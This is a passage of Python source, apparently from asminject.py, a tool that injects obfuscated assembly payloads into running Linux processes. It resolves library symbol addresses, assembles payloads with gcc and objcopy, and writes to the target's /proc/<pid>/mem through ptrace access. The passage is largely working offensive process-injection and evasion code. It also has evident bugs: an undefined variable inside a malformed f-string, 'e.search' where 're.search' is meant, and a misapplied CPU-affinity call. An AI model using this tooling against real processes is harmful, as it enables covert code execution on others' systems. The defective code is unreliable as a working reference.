log(f"Checking '{symbol_name}' against relative offset regex placeholder '{regex}' from assembly code", ansi=injection_params.ansi)
|
|
if re.search(f"^{regex}$", symbol_name):
|
|
return (symbol_name, symbol_map[symbol_name])
|
|
return None
|
|
|
|
def write_source_to_file(injection_params, source_code, description, file_name_suffix):
|
|
if injection_params.write_assembly_source_to_disk:
|
|
try:
|
|
out_path = injection_params.create_empty_temp_file(subdirectory_name = injection_params.payload_assembly_subdirectory_name, suffix = f"{file_name_suffix}.s")
|
|
log(f"Writing {description} assembly source to '{out_path}'", ansi=injection_params.ansi)
|
|
with open(out_path, "w") as source_code_file:
|
|
source_code_file.write(source_code)
|
|
except Exception as e:
|
|
log_error(f"Couldn't write {description} assembly source to '{out_path}': {e}", ansi=injection_params.ansi)
|
|
|
|
def replace_fragments(injection_params, source_code, fragment_tag, inline, replaced_fragment_file_names):
|
|
fragment_refs_found = True
|
|
updated_source_code = source_code
|
|
recursion_count = 0
|
|
while fragment_refs_found:
|
|
found_this_iteration = 0
|
|
fragment_placeholders = []
|
|
if inline:
|
|
replaced_fragment_file_names = []
|
|
fragment_placeholders_matches = re.finditer(r'(\[' + fragment_tag + ':)(.*?)(:' + fragment_tag + '\])', updated_source_code)
|
|
for match in fragment_placeholders_matches:
|
|
fragment_file_name = match.group(2)
|
|
match_text = match.group(0)
|
|
if fragment_file_name in replaced_fragment_file_names:
|
|
# fragment has already been incorporated
|
|
if not inline:
|
|
updated_source_code = updated_source_code.replace(match_text, "")
|
|
else:
|
|
# new fragment
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Found code fragment placeholder '{fragment_file_name}' in assembly code", ansi=injection_params.ansi)
|
|
fragment_placeholders.append(fragment_file_name)
|
|
replaced_fragment_file_names.append(fragment_file_name)
|
|
for fragment_file_name in fragment_placeholders:
|
|
new_fragment_source = get_code_fragment(injection_params, fragment_file_name)
|
|
string_to_replace = f"[{fragment_tag}:{fragment_file_name}:{fragment_tag}]"
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Replacing '{string_to_replace}' with the content of file '{fragment_file_name}' in assembly code", ansi=injection_params.ansi)
|
|
updated_source_code = updated_source_code.replace(string_to_replace, new_fragment_source)
|
|
if len(fragment_placeholders) == 0:
|
|
fragment_refs_found = False
|
|
else:
|
|
recursion_count += 1
|
|
if recursion_count > injection_params.max_fragment_recursion:
|
|
recursion_reference_string = ""
|
|
recursion_reference_keys = []
|
|
for rck in recursion_count_list.keys():
|
|
if rck not in recursion_reference_keys:
|
|
recursion_reference_keys.append(rck)
|
|
recursion_reference_keys.sort()
|
|
for ref_key in recursion_reference_keys:
|
|
new_key_string = f"{ref_key}: {recursion_count_list:ref_key} references"
|
|
if recursion_reference_string == "":
|
|
recursion_reference_string = new_key_string
|
|
else:
|
|
recursion_reference_string = f"{recursion_reference_string}, {new_key_string}"
|
|
log_error(f"Reached maximum recursion count of {injection_params.max_fragment_recursion} while importing assembly code fragments. This is usually due to a reference loop, such as fragment A referencing fragment B, while fragment B also references fragment A. The fragment files with the highest counts in the following list are most likely responsible: {recursion_reference_string}", ansi=injection_params.ansi)
|
|
return None
|
|
return updated_source_code
|
|
|
|
global_sequential_number = 0
|
|
# BEGIN: https://stackoverflow.com/questions/7293750/python-regex-how-to-replace-each-instance-of-an-occurrence-with-a-different-val
|
|
def global_sequential_number_callback(match):
|
|
global global_sequential_number
|
|
step = 0
|
|
try:
|
|
step += int(match.group(2))
|
|
except Exception as e:
|
|
log_error(f"Couldn't convert '{match.group(2)}' in placeholder '{match.group(0)}' to an integer: {e}", ansi=injection_params.ansi)
|
|
sys.exit(1)
|
|
global_sequential_number += step
|
|
return str(global_sequential_number)
|
|
# END: https://stackoverflow.com/questions/7293750/python-regex-how-to-replace-each-instance-of-an-occurrence-with-a-different-val
|
|
|
|
def assemble(source, injection_params, memory_map_data, file_name_suffix, replacements = {}):
|
|
formatted_source = source
|
|
memory_map_path_names = memory_map_data.get_unique_path_names()
|
|
for lname in memory_map_path_names:
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Library base entry: '{lname}'", ansi=injection_params.ansi)
|
|
|
|
# Recursively replace any fragment references with actual file content
|
|
initial_fragment_list = []
|
|
replaced_fragment_file_names = []
|
|
# build a list of just the unique fragment references
|
|
fragment_placeholders_matches = re.finditer(r'(\[FRAGMENT:)(.*?)(:FRAGMENT\])', formatted_source)
|
|
for match in fragment_placeholders_matches:
|
|
match_text = match.group(0)
|
|
fragment_file_name = match.group(2)
|
|
if fragment_file_name not in replaced_fragment_file_names:
|
|
initial_fragment_list.append(match_text)
|
|
#replaced_fragment_file_names.append(fragment_file_name)
|
|
formatted_source = formatted_source.replace(match_text, "")
|
|
|
|
# randomize initial fragment order
|
|
#random.shuffle(initial_fragment_list, asminject_parameters.get_random_float_for_shuffle)
|
|
initial_fragment_list_shuffled = asminject_parameters.get_securely_shuffled_array(initial_fragment_list)
|
|
fragment_source = ""
|
|
for i in range (0, len(initial_fragment_list_shuffled)):
|
|
fragment_source = f"{fragment_source}{os.linesep}{os.linesep}{initial_fragment_list_shuffled[i]}"
|
|
|
|
fragment_source = replace_fragments(injection_params, fragment_source, "FRAGMENT", False, replaced_fragment_file_names)
|
|
|
|
formatted_source = formatted_source.replace(injection_params.fragment_placeholder, fragment_source)
|
|
|
|
# replace inline fragments recursively
|
|
formatted_source = replace_fragments(injection_params, formatted_source, "INLINE", True, [])
|
|
|
|
for rname in replacements.keys():
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Replacement key: '{rname}', value '{replacements[rname]}'", ansi=injection_params.ansi)
|
|
|
|
# Replace function address placeholders
|
|
# e.g. [SYMBOL_ADDRESS:^printf($|@@.+):IN_BINARY:.+/libc[\-0-9so\.]*.(so|so\.[0-9]+)$:SYMBOL_ADDRESS]
|
|
function_address_placeholders = []
|
|
function_address_placeholder_matches = re.finditer(r'(\[SYMBOL_ADDRESS:)(.*?)(:SYMBOL_ADDRESS\])', formatted_source)
|
|
for match in function_address_placeholder_matches:
|
|
function_and_library = match.group(2)
|
|
if function_and_library not in function_address_placeholders:
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Found function address placeholder '{function_and_library}' in assembly code", ansi=injection_params.ansi)
|
|
function_address_placeholders.append(function_and_library)
|
|
for func_addr_placeholder in function_address_placeholders:
|
|
found_func_addr_match = False
|
|
func_addr_placeholder_split = func_addr_placeholder.split(":IN_BINARY:")
|
|
func_addr_function_regex = func_addr_placeholder_split[0]
|
|
func_addr_binary_regex = func_addr_placeholder_split[1]
|
|
|
|
for lname in memory_map_path_names:
|
|
if not found_func_addr_match:
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Testing '{lname}' against binary path regex '{func_addr_binary_regex}' in assembly code", ansi=injection_params.ansi)
|
|
if re.search(func_addr_binary_regex, lname):
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Checking '{lname}' for function address placeholder '{func_addr_placeholder}' in assembly code", ansi=injection_params.ansi)
|
|
# If relative addresses have already been provided or collected for the specified binary, use the existing data
|
|
# Otherwise, collect and cache it
|
|
binary_relative_offsets = {}
|
|
if lname in injection_params.relative_offsets.keys():
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Checking existing list of relative offsets for '{lname}' for a function that matches regular expression '{func_addr_function_regex}'", ansi=injection_params.ansi)
|
|
binary_relative_offsets = injection_params.relative_offsets[lname]
|
|
else:
|
|
if injection_params.relative_offsets_from_binaries:
|
|
if os.path.isfile(lname):
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Collecting a list of relative offsets from '{lname}' and then checking them for a function that matches regular expression '{func_addr_function_regex}'", ansi=injection_params.ansi)
|
|
injection_params.relative_offsets[lname] = get_elf_symbol_to_offset_map(lname)
|
|
binary_relative_offsets = injection_params.relative_offsets[lname]
|
|
else:
|
|
log(f"Ignoring '{lname}' because it is not a file. If you really need to reference symbols in that region of memory, provide them from a file with the --relative-offsets option", ansi=injection_params.ansi)
|
|
else:
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Ignoring '{lname}' because no relative offsets were provided for that file and the option to collect them is disabled", ansi=injection_params.ansi)
|
|
# wherever the list came from, check it for the function in question
|
|
for symbol_name in binary_relative_offsets.keys():
|
|
if not found_func_addr_match:
|
|
if re.search(func_addr_function_regex, symbol_name):
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Found a match for '{func_addr_function_regex}' in symbol list for '{lname}': '{symbol_name}'", ansi=injection_params.ansi)
|
|
function_address = memory_map_data.get_first_region_for_named_file(lname).get_base_address() + binary_relative_offsets[symbol_name]
|
|
replacements[f"[SYMBOL_ADDRESS:{func_addr_placeholder}:SYMBOL_ADDRESS]"] = f"{hex(function_address)}"
|
|
found_func_addr_match = True
|
|
break
|
|
if not found_func_addr_match:
|
|
log_error(f"Could not find a match for the function address placeholder '{func_addr_placeholder}' in the target process. Make sure you've targeted the correct process, and that it is compatible with the selected payload. If you believe you've received this message in error, please open an issue on GitHub.", ansi=injection_params.ansi)
|
|
return None
|
|
|
|
# # Replace base address regex matches
|
|
# lname_placeholders = []
|
|
# lname_placeholders_matches = re.finditer(r'(\[BASEADDRESS:)(.*?)(:BASEADDRESS\])', formatted_source)
|
|
# placeholder_match_binary_paths = []
|
|
# for match in lname_placeholders_matches:
|
|
# placeholder_regex = match.group(2)
|
|
# if placeholder_regex not in lname_placeholders:
|
|
# if injection_params.enable_debugging_output:
|
|
# log(f"Found library base address regex placeholder '{placeholder_regex}' in assembly code", ansi=injection_params.ansi)
|
|
# lname_placeholders.append(placeholder_regex)
|
|
# for lname_regex in lname_placeholders:
|
|
# found_library_match = False
|
|
# for lname in memory_map_path_names:
|
|
# #if injection_params.enable_debugging_output:
|
|
# # log(f"Checking '{lname}' against library base address regex placeholder '{lname_regex}' from assembly code", ansi=injection_params.ansi)
|
|
# if re.search(lname_regex, lname):
|
|
# log(f"Using '{lname}' for library base address regex placeholder '{lname_regex}' in assembly code", ansi=injection_params.ansi)
|
|
# replacements[f"[BASEADDRESS:{lname_regex}:BASEADDRESS]"] = f"{hex(memory_map_data.get_first_region_for_named_file(lname).get_base_address())}"
|
|
# if lname not in placeholder_match_binary_paths:
|
|
# placeholder_match_binary_paths.append(lname)
|
|
# found_library_match = True
|
|
# break
|
|
# if not found_library_match:
|
|
# log_error(f"Could not find a match for the library base address regular expression '{lname_regex}' in the list of libraries loaded by the target process. Make sure you've targeted the correct process, and that it is compatible with the selected payload.", ansi=injection_params.ansi)
|
|
# return None
|
|
|
|
# # Replace relative offset regex matches
|
|
# r_offset_placeholders = []
|
|
# r_offset_placeholders_matches = re.finditer(r'(\[RELATIVEOFFSET:)(.*?)(:RELATIVEOFFSET\])', formatted_source)
|
|
# for match in r_offset_placeholders_matches:
|
|
# r_offset_placeholder_regex = match.group(2)
|
|
# if r_offset_placeholder_regex not in r_offset_placeholders:
|
|
# if injection_params.enable_debugging_output:
|
|
# log(f"Found relative offset regex placeholder '{r_offset_placeholder_regex}' in assembly code", ansi=injection_params.ansi)
|
|
# r_offset_placeholders.append(r_offset_placeholder_regex)
|
|
# for r_symbol_regex in r_offset_placeholders:
|
|
# found_offset_match = False
|
|
# # check explicitly-specified relative offsets first
|
|
# symbol_search_result = get_offset_from_map_by_regex(injection_params, injection_params.relative_offsets, r_symbol_regex)
|
|
# # if a match wasn't found in an explicitly-referenced list,
|
|
# # and the option is enabled, check the binary itself for symbols/offsets
|
|
# if not symbol_search_result:
|
|
# if injection_params.relative_offsets_from_binaries:
|
|
# for binary_path in placeholder_match_binary_paths:
|
|
# if not symbol_search_result:
|
|
# symbol_search_result = get_offset_from_map_by_regex(injection_params, get_elf_symbol_to_offset_map(binary_path), r_symbol_regex)
|
|
# if symbol_search_result:
|
|
# found_offset_match = True
|
|
# log(f"Using '{symbol_search_result[0]}' for relative offset regex placeholder '{r_symbol_regex}' in assembly code", ansi=injection_params.ansi)
|
|
# replacements[f"[RELATIVEOFFSET:{r_symbol_regex}:RELATIVEOFFSET]"] = f"{hex(symbol_search_result[1])}"
|
|
# else:
|
|
# log_error(f"Could not find a match for the relative offset regular expression '{r_symbol_regex}' in the list of relative offsets provided to asminject.py. Make sure you've targeted the correct process, and provided accurate lists of any necessary relative offsets for the process.", ansi=injection_params.ansi)
|
|
# return None
|
|
|
|
pre_obfuscation_source = formatted_source
|
|
write_source_to_file(injection_params, pre_obfuscation_source, "pre-obfuscation, pre-variable-replacement", f"{file_name_suffix}-pre-obfuscation-pre-replacement")
|
|
|
|
obfuscation_iteration = 1
|
|
if injection_params.obfuscate_payloads:
|
|
for i in range(0, injection_params.obfuscation_iterations):
|
|
formatted_source = obfuscate_assembly_source(injection_params, formatted_source, obfuscation_iteration)
|
|
write_source_to_file(injection_params, formatted_source, f"obfuscation round {i + 1}", f"{file_name_suffix}-obfuscation-{i + 1}")
|
|
if injection_params.enable_debugging_output:
|
|
if injection_params.obfuscation_iterations > 1:
|
|
log(f"Formatted assembly code after obfuscation round {i + 1}:\n{formatted_source}", ansi=injection_params.ansi)
|
|
|
|
write_source_to_file(injection_params, formatted_source, "post-obfuscation, pre-variable-replacement", f"{file_name_suffix}-post-obfuscation-pre-replacement")
|
|
|
|
for search_text in replacements.keys():
|
|
formatted_source = formatted_source.replace(search_text, replacements[search_text])
|
|
if injection_params.obfuscate_payloads:
|
|
pre_obfuscation_source = pre_obfuscation_source.replace(search_text, replacements[search_text])
|
|
|
|
# replace any special values
|
|
# global sequential number (to avoid duplicate labels, etc.)
|
|
global global_sequential_number
|
|
global_sequential_number = 0
|
|
formatted_source = re.sub(r'\[(GLOBAL_SEQUENTIAL_NUMBER):([^]]+)\]', global_sequential_number_callback, formatted_source)
|
|
if injection_params.obfuscate_payloads:
|
|
global_sequential_number = 0
|
|
pre_obfuscation_source = re.sub(r'\[(GLOBAL_SEQUENTIAL_NUMBER):([^]]+)\]', global_sequential_number_callback, pre_obfuscation_source)
|
|
|
|
|
|
# check for any remaining placeholders in the formatted source code
|
|
# placeholder_types = ['BASEADDRESS', 'RELATIVEOFFSET', 'VARIABLE']
|
|
placeholder_types = ['SYMBOL_ADDRESS', 'VARIABLE', 'FRAGMENT', 'INLINE']
|
|
missing_values = []
|
|
for pht in placeholder_types:
|
|
missing_placeholders_matches = re.finditer(r'(\[' + pht + ':)(.*?)(:' + pht + '\])', formatted_source)
|
|
for match in missing_placeholders_matches:
|
|
missing_string = match.group(0)
|
|
if missing_string not in missing_values:
|
|
missing_values.append(missing_string)
|
|
|
|
#if injection_params.enable_debugging_output:
|
|
# log(f"Formatted assembly code:\n{pre_obfuscation_source}", ansi=injection_params.ansi)
|
|
|
|
if injection_params.obfuscate_payloads:
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Formatted assembly code before obfuscation:\n{pre_obfuscation_source}", ansi=injection_params.ansi)
|
|
log(f"Formatted assembly code after obfuscation:\n{formatted_source}", ansi=injection_params.ansi)
|
|
write_source_to_file(injection_params, pre_obfuscation_source, f"pre-obfuscation, post-variable-replacement", f"{file_name_suffix}-pre-obfuscation-post-replacement")
|
|
else:
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Formatted assembly code:\n{formatted_source}", ansi=injection_params.ansi)
|
|
write_source_to_file(injection_params, formatted_source, f"finalized", f"{file_name_suffix}-finalized")
|
|
|
|
if len(missing_values) > 0:
|
|
log_error(f"The following placeholders in the assembly source code code not be found: {missing_values}", ansi=injection_params.ansi)
|
|
return None
|
|
|
|
result = None
|
|
|
|
try:
|
|
out_path = injection_params.create_empty_temp_file(subdirectory_name = injection_params.payload_assembly_subdirectory_name, suffix = ".o")
|
|
# # output file is chmodded 0777 so that the target process' user account can delete it if necessary as well as reading it
|
|
# try:
|
|
# os.chmod(out_path, stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO)
|
|
# except Exception as e:
|
|
# log_warning(f"Couldn't set permissions on '{out_path}': {e}", ansi=injection_params.ansi)
|
|
|
|
#out_path = f"/tmp/assembled_{os.urandom(8).hex()}.bin"
|
|
#cmd = "gcc -x assembler - -o {0} -nostdlib -Wl,--oformat=binary -m64 -fPIC".format()
|
|
# the objcopy workaround isn't necessary on Debian-derived x86-64 Linux distributions
|
|
# but it turns out that it *is* required on e.g. OpenSUSE, so I guess we'll just always use it.
|
|
#use_objcopy_workaround = False
|
|
use_objcopy_workaround = True
|
|
|
|
#argv = ["gcc", "-x", "assembler", "-", "-o", out_path, "-nostdlib", "-Wl,--oformat=binary", "-m64", "-fPIC"]
|
|
argv = ["gcc", "-x", "assembler", "-", "-o", out_path, "-nostdlib", "-fPIC", "-Wl,--build-id=none", "-m64", "-s"]
|
|
|
|
# ARM gcc doesn't support the raw binary output format, and there is a similar issue with x86
|
|
# it's necessary to pass -Wl,--build-id=none so
|
|
# that the linker doesn't include metadata that objcopy will misinterpret later
|
|
# same for the -s option: including the debugging metadata causes objcopy to output a file with a huge
|
|
# amount of empty space in it
|
|
if injection_params.architecture == "x86":
|
|
argv = ["gcc", "-x", "assembler", "-", "-o", out_path, "-nostdlib", "-fPIC", "-Wl,--build-id=none", "-m32", "-s"]
|
|
use_objcopy_workaround = True
|
|
|
|
if injection_params.architecture == "arm32":
|
|
argv = ["gcc", "-x", "assembler", "-", "-o", out_path, "-nostdlib", "-fPIC", "-Wl,--build-id=none", "-s"]
|
|
#argv = ["gcc", "-x", "assembler", "-", "-o", out_path, "-nostdlib", "-fPIC", "-pie", "-Wl,--build-id=none", "-s"]
|
|
use_objcopy_workaround = True
|
|
|
|
program = formatted_source.encode()
|
|
# if injection_params.write_assembly_source_to_disk:
|
|
# try:
|
|
# in_path = injection_params.create_empty_temp_file(subdirectory_name = injection_params.payload_assembly_subdirectory_name, suffix = ".s")
|
|
# log(f"Writing assembly source to '{in_path}'", ansi=injection_params.ansi)
|
|
# with open(in_path, "w") as source_code_file:
|
|
# source_code_file.write(formatted_source)
|
|
# except Exception as e:
|
|
# log_error(f"Couldn't write assembly source to '{in_path}': {e}", ansi=injection_params.ansi)
|
|
# if injection_params.enable_debugging_output:
|
|
# log(f"Writing assembled binary to '{out_path}'", ansi=injection_params.ansi)
|
|
|
|
pipe = subprocess.PIPE
|
|
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Assembler command: {argv}", ansi=injection_params.ansi)
|
|
result = subprocess.run(argv, stdout=pipe, stderr=pipe, input=program)
|
|
|
|
assembler_console_output = f"stdout:\n\n{result.stdout.decode().strip()}\n\nstderr:\n\n{result.stderr.decode().strip()}"
|
|
if result.returncode == 0:
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Assembler output: \n\n{assembler_console_output}", ansi=injection_params.ansi)
|
|
else:
|
|
#emsg = result.stderr.decode().strip()
|
|
#log_error("Assembler command failed:\n\t" + emsg.replace("\n", "\n\t"), ansi=injection_params.ansi)
|
|
log_error("Assembler command failed:\n\n" + assembler_console_output, ansi=injection_params.ansi)
|
|
return None
|
|
|
|
# ld for ARM won't emit raw binaries like it will for x86-64
|
|
# and a similar issues needs to be worked around for x86
|
|
if use_objcopy_workaround:
|
|
argv = []
|
|
|
|
try:
|
|
obj_out_path = injection_params.create_empty_temp_file(subdirectory_name = injection_params.payload_assembly_subdirectory_name, suffix = ".o")
|
|
try:
|
|
os.chmod(obj_out_path, stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO)
|
|
except Exception as e:
|
|
log_warning(f"Couldn't set permissions on '{obj_out_path}': {e}", ansi=injection_params.ansi)
|
|
log(f"Converting executable '{out_path}' to raw binary file {obj_out_path}", ansi=injection_params.ansi)
|
|
|
|
if injection_params.architecture == "arm32":
|
|
argv = ["objcopy", "-O", "binary", out_path, obj_out_path]
|
|
if injection_params.architecture in ["x86", "x86-64"]:
|
|
argv = ["objcopy", "-O", "binary", "--only-section=.text", out_path, obj_out_path]
|
|
|
|
if injection_params.enable_debugging_output:
|
|
log(f"objdump command: {argv}", ansi=injection_params.ansi)
|
|
result = subprocess.run(argv, stdout=pipe, stderr=pipe)
|
|
|
|
if result.returncode != 0:
|
|
emsg = result.stderr.decode().strip()
|
|
log_error("objdump command failed:\n\t" + emsg.replace("\n", "\n\t"), ansi=injection_params.ansi)
|
|
return None
|
|
|
|
if injection_params.delete_temp_files:
|
|
try:
|
|
os.remove(out_path)
|
|
except Exception as e:
|
|
log_error(f"Couldn't delete termporary binary file '{out_path}': {e}", ansi=injection_params.ansi)
|
|
|
|
out_path = obj_out_path
|
|
except Exception as e:
|
|
log_error(f"Couldn't convert assembler output to raw binary using objdump: {e}", ansi=injection_params.ansi)
|
|
return None
|
|
|
|
except Exception as e:
|
|
log_error(f"Couldn't assemble code using gcc: {e}", ansi=injection_params.ansi)
|
|
return None
|
|
|
|
result_code = None
|
|
try:
|
|
if os.path.isfile(out_path):
|
|
with open(out_path, "rb") as assembled_code:
|
|
result_code = assembled_code.read()
|
|
except Exception as e:
|
|
log_error(f"Couldn't read assembled binary '{out_path}': {e}", ansi=injection_params.ansi)
|
|
return None
|
|
|
|
if injection_params.delete_temp_files:
|
|
try:
|
|
os.remove(out_path)
|
|
except Exception as e:
|
|
log_error(f"Couldn't delete temporary binary file '{out_path}': {e}", ansi=injection_params.ansi)
|
|
|
|
return result_code
|
|
|
|
def output_memory_block_data(injection_params, memory_block_name, memory_block):
|
|
if not injection_params.enable_debugging_output:
|
|
return
|
|
output = f"{memory_block_name}:"
|
|
num_blocks = int(math.ceil(float(len(memory_block)) / float(injection_params.register_size)))
|
|
for block_num in range(0, num_blocks):
|
|
block_data = "0x "
|
|
num_sub_blocks = int(injection_params.register_size / 4)
|
|
for sub_block_num in range(0, num_sub_blocks):
|
|
sub_block_data = ""
|
|
base_byte_num = (block_num * injection_params.register_size) + (sub_block_num * 4)
|
|
for byte_num in range(0, 4):
|
|
current_byte_num = base_byte_num + byte_num
|
|
current_byte_data = 0
|
|
if current_byte_num < len(memory_block):
|
|
current_byte_data = memory_block[current_byte_num]
|
|
else:
|
|
current_byte_data = 0
|
|
sub_block_data = f"{sub_block_data}{format(current_byte_data, '02x')}"
|
|
block_data = f"{block_data} {sub_block_data}"
|
|
block_data = block_data.strip()
|
|
output = f"{output}\n\t{block_data}"
|
|
log(output, ansi=injection_params.ansi)
|
|
|
|
def get_syscall_values(injection_params, pid):
|
|
result = {}
|
|
syscall_data = ""
|
|
syscall_vals = []
|
|
result[injection_params.instruction_pointer_register_name] = 0
|
|
result[injection_params.stack_pointer_register_name] = 0
|
|
result["syscall_data"] = ""
|
|
try:
|
|
with open(f"/proc/{pid}/syscall") as syscall_file:
|
|
syscall_data = syscall_file.read()
|
|
result["syscall_data"] = syscall_data
|
|
syscall_vals = syscall_data.split(" ")
|
|
if " " in syscall_data:
|
|
result[injection_params.instruction_pointer_register_name] = int(syscall_vals[-1][2:], 16)
|
|
result[injection_params.stack_pointer_register_name] = int(syscall_vals[-2][2:], 16)
|
|
else:
|
|
log(f"Couldn't retrieve current syscall values", ansi=injection_params.ansi)
|
|
except Exception as e:
|
|
log_error(f"Couldn't retrieve current syscall values: {e}. Please verify that you are running as an account that has access to ptrace the target application, and that /proc/sys/kernel/yama/ptrace_scope is set to 0 or 1.", ansi=injection_params.ansi)
|
|
return result
|
|
|
|
def wait_for_payload_communication_state(injection_params, pid, communication_address, wait_for_value):
|
|
done_waiting = False
|
|
data = communication_variables()
|
|
payload_state_communication_address = communication_address + injection_params.communication_address_offset_payload_state
|
|
waiting_for_state_name = injection_params.state_variables.get_state_name_from_value(wait_for_value)
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Waiting for payload state {waiting_for_state_name} at address {hex(payload_state_communication_address)}", ansi=injection_params.ansi)
|
|
while not done_waiting:
|
|
process_memory_path = f"/proc/{pid}/mem"
|
|
sleep_this_iteration = True
|
|
data.read_current_values(injection_params, process_memory_path, communication_address)
|
|
|
|
if data.payload_state_value == wait_for_value:
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Payload state value matches state {waiting_for_state_name}", ansi=injection_params.ansi)
|
|
sleep_this_iteration = False
|
|
done_waiting = True
|
|
|
|
if sleep_this_iteration:
|
|
log(f"Waiting for payload to update the state value to {waiting_for_state_name} at address {hex(payload_state_communication_address)}", ansi=injection_params.ansi)
|
|
time.sleep(injection_params.wait_delay)
|
|
return data
|
|
|
|
def set_script_communication_state(injection_params, pid, communication_address, new_value):
|
|
script_state_communication_address = communication_address + injection_params.communication_address_offset_script_state
|
|
#with open(f"/proc/{injection_params.pid}/mem", "wb+") as mem:
|
|
with open(f"/proc/{injection_params.pid}/mem", "rb+") as mem:
|
|
log(f"Setting script state to {injection_params.state_variables.get_state_name_from_value(new_value)} at {hex(script_state_communication_address)} in target memory", ansi=injection_params.ansi)
|
|
mem.seek(script_state_communication_address)
|
|
packed_val = struct.pack('I', new_value)
|
|
mem.write(packed_val)
|
|
|
|
def output_process_priority_and_affinity(injection_params, state_name):
|
|
log(f"{state_name} process priority for asminject.py (PID: {injection_params.asminject_pid}) is {injection_params.asminject_priority}", ansi=injection_params.ansi)
|
|
log(f"{state_name} CPU affinity for asminject.py (PID: {injection_params.asminject_pid}) is {injection_params.asminject_affinity}", ansi=injection_params.ansi)
|
|
log(f"{state_name} process priority for target process (PID: {injection_params.pid}) is {injection_params.target_priority}", ansi=injection_params.ansi)
|
|
log(f"{state_name} CPU affinity for target process (PID: {injection_params.pid}) is {injection_params.target_affinity}", ansi=injection_params.ansi)
|
|
|
|
def set_process_priority_and_affinity(injection_params, asminject_priority, target_priority, asminject_affinity, target_affinity):
|
|
log(f"Setting process priority for asminject.py (PID: {injection_params.asminject_pid}) to {asminject_priority}", ansi=injection_params.ansi)
|
|
injection_params.asminject_process.nice(asminject_priority)
|
|
log(f"Setting process priority for target process (PID: {injection_params.pid}) to {target_priority}", ansi=injection_params.ansi)
|
|
injection_params.target_process.nice(target_priority)
|
|
log(f"Setting CPU affinity for asminject.py (PID: {injection_params.asminject_pid}) to {asminject_affinity}", ansi=injection_params.ansi)
|
|
injection_params.target_process.cpu_affinity(asminject_affinity)
|
|
log(f"Setting CPU affinity for target process (PID: {injection_params.pid}) to {target_affinity}", ansi=injection_params.ansi)
|
|
injection_params.target_process.cpu_affinity(target_affinity)
|
|
|
|
def back_up_memory_region(injection_params, map_entry, subdirectory_name):
|
|
backup_path = os.path.join(injection_params.temp_file_base_directory, subdirectory_name, f"0x{map_entry.start_address:016x}-0x{map_entry.end_address:016x}.bin")
|
|
with open(backup_path, "wb") as backup_file:
|
|
with open(f"/proc/{injection_params.pid}/mem", "rb") as mem:
|
|
total_size = map_entry.end_address - map_entry.start_address
|
|
read_size = 0
|
|
mem.seek(map_entry.start_address)
|
|
while read_size < total_size:
|
|
current_block_size = injection_params.backup_chunk_size
|
|
remaining_size = total_size - read_size
|
|
if remaining_size < current_block_size:
|
|
current_block_size = remaining_size
|
|
region_backup_chunk = mem.read(current_block_size)
|
|
backup_file.write(region_backup_chunk)
|
|
read_size += current_block_size
|
|
return backup_path
|
|
return None
|
|
|
|
def back_up_memory_regions(injection_params, memory_map_data, subdirectory_name):
|
|
# Create a separate container for only the regions that have been backed up
|
|
# (as opposed to the complete list that asminject.py is using for other purposes)
|
|
backed_up_region_data = asminject_memory_map_data()
|
|
exiting_map_data_array = memory_map_data.to_array()
|
|
json_path = injection_params.create_empty_temp_file(subdirectory_name = subdirectory_name, suffix = ".json")
|
|
backed_up_region_data.backup_directory = os.path.dirname(json_path)
|
|
|
|
for arr_entry in exiting_map_data_array:
|
|
new_entry = memory_map_entry.from_dictionary(arr_entry)
|
|
add_entry = False
|
|
region_description_string = new_entry.get_description_string()
|
|
# Only continue processing the current region
|
|
# if all memory regions are being backed up/restored
|
|
# or its path/name matches a user-supplied regex
|
|
if injection_params.restore_all_memory_regions:
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Tenatively including memory region {region_description_string} in backup because the user selected backup/restore for all regions", ansi=injection_params.ansi)
|
|
add_entry = True
|
|
|
|
if not add_entry:
|
|
for rmr_rex in injection_params.restore_memory_region_regexes:
|
|
if e.search(rmr_rex, new_entry.path):
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Tenatively including memory region {region_description_string} in backup because its path matches the regular expression '{rmr_rex}'", ansi=injection_params.ansi)
|
|
add_entry = True
|
|
break
|
|
|
|
# Don't back up/restore anything on the internal ignore list
|
|
if add_entry:
|
|
if new_entry.path in injection_params.internal_memory_region_restore_ignore_list:
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Removing memory region {region_description_string} from backup candidates because its path matches an internal ignore list entry", ansi=injection_params.ansi)
|
|
add_entry = False
|
|
|
|
# Don't back up/restore asminject.py's own memory regions
|
|
if add_entry:
|
|
if new_entry.start_address == injection_params.existing_read_execute_address:
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Removing memory region {region_description_string} from backup candidates because its start address matches the existing read/execute block address", ansi=injection_params.ansi)
|
|
add_entry = False
|
|
if new_entry.start_address == injection_params.existing_read_write_address:
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Removing memory region {region_description_string} from backup candidates because its start address matches the existing read/write block address", ansi=injection_params.ansi)
|
|
add_entry = False
|
|
|
|
if add_entry:
|
|
if injection_params.enable_debugging_output:
|
|
log(f"Attempting to back up memory region {region_description_string}", ansi=injection_params.ansi)
|
|
try:
|
|
backup_path = back_up_memory_region(injection_params, new_entry, subdirectory_name)
|
|
if backup_path:
|
|
log_success(f"Backed up the memory region {region_description_string}", ansi=injection_params.ansi)
|
|
new_entry.backup_path = backup_path
|
|
else:
|
|
log_error(f"Backup of memory region {region_description_string} failed unexpectedly", ansi=injection_params.ansi)
|
|
except Exception as e:
|
|
log_error(f"Couldn't back up the memory region {region_description_string}: {e}", ansi=injection_params.ansi)
|
|
backed_up_region_data.add_entry(injection_params, new_entry)
|
|
|
|
